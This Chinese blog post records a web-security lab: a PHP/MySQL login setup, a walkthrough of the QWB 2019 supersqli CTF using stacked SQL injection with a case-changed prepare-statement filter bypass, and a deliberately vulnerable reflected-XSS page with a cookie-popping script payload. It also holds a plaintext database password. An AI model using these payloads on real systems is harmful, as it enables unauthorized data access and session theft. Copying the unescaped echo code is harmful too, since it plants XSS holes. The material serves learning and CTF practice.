本实践目标是构建 Web 服务,并进行一些简单的攻击实践
用 React 写了一个注册界面,放在了nginx 上,如下:
http://47.94.47.203:8080/register
我 linux 上默认装的是 psql ,就在 windows 主机上装了一个 mysql
输入 show databases,查看有多少数据库

使用 CREATE USER ‘username‘@‘server‘ IDENTIFIED BY ‘password‘; 来创建新用户

使用 GRANT (SELECT, update……) ON 数据库名.表名 TO ‘用户名‘@‘数据库IP‘; 给新用户授权

使用新建的用户登录

windows 下启动 php
php-cgi.exe -b 127.0.0.1:9000

配置 nginx

在 上图中的 root 下创建 index.php,内容为
<?php
echo phpinfo();
?>
浏览器打开,可见

大多数情况下还是使用 phpStorm,其会自动调用 php-cgi.exe ,并监听 9000 端口
php 简单的登录功能
php 是一个安全问题非常严重的弱类型语言,操作数据库的底线是采用 预处理。这里我使用 PDO 预处理
// index.php
<?php
$user_name = $_POST[‘username‘];
$password = $_POST[‘password‘];
$servername = "localhost";
$db_user = "root";
$db_password = "hwqmingdi";
$dbname = "blog";
try {
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $db_user, $db_password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->prepare("SELECT * FROM users where username = ? and password = ?");
$stmt->execute(array($user_name, $password));
// 设置结果集为关联数组
$result = $stmt->fetchAll();
if (count($result) > 0) {
echo "Welcome " . $result[0][‘username‘];
} else {
echo "login fail";
}
}
catch(PDOException $e) {
echo "Error: " . $e->getMessage();
}
将 form 中的 action 写为 login.php,就可以登录


这里我们看这道题 https://github.com/glzjin/qwb_2019_supersqli

首先探测参数引号闭合规则
1‘ and 1=1# // true
1‘ and 1=2# // false
可见参数采用单引号闭合

尝试获取列数
1‘ order by 2# //正常
1‘ order by 3# // 报错

可以发现列数为 2 列
试一试 union 查询
1‘ union select user()#

发现 select 等被过滤了
试一试堆叠查询
-1‘;show tables#

我们可以看到数据库中有两个表,数组的第一项就是表名
堆叠注入查看表的字段
-1‘;desc `1919810931114514`#
-1‘;desc `words`#


我们要得到表 1919810931114514 的 flag 字段。但是,select 已经被过滤掉了。这里我们可以采用 mysql 的预编译语法,如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
采用
-1‘;set @sql = CONCAT(‘se‘,‘lect * from `1919810931114514`;‘);prepare stmt from @sql;EXECUTE stmt;#
得到结果

strstr() 函数把 prepare 和 set 过滤了,但是查阅资料,可以发现 strstr 这个函数区分大小写,我们将set, prepare 大写即可
-1‘;Set @sql = CONCAT(‘se‘,‘lect * from `1919810931114514`;‘);Prepare stmt from @sql;EXECUTE stmt;#
得到结果,注入成功

对 xss 没有研究,只知道可以利用输入框等插入恶意代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input" style="width: 300px;">
<input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET[‘input‘];
echo ‘output:<br>‘.$XssReflex;
?>
</body>
</html>
可以在 <input/> 中输入 <script>alert(document.cookie);</script>
页面加载时会自动执行 <script> 内的语句,从而弹出 cookie


首先,各脚本语言(php,asp 等)并不是浏览器解析运行的。
浏览器可以自解析运行的有
tomcat 支持的有 jspiis 支持 aspx原文:https://www.cnblogs.com/mtzf/p/12952899.html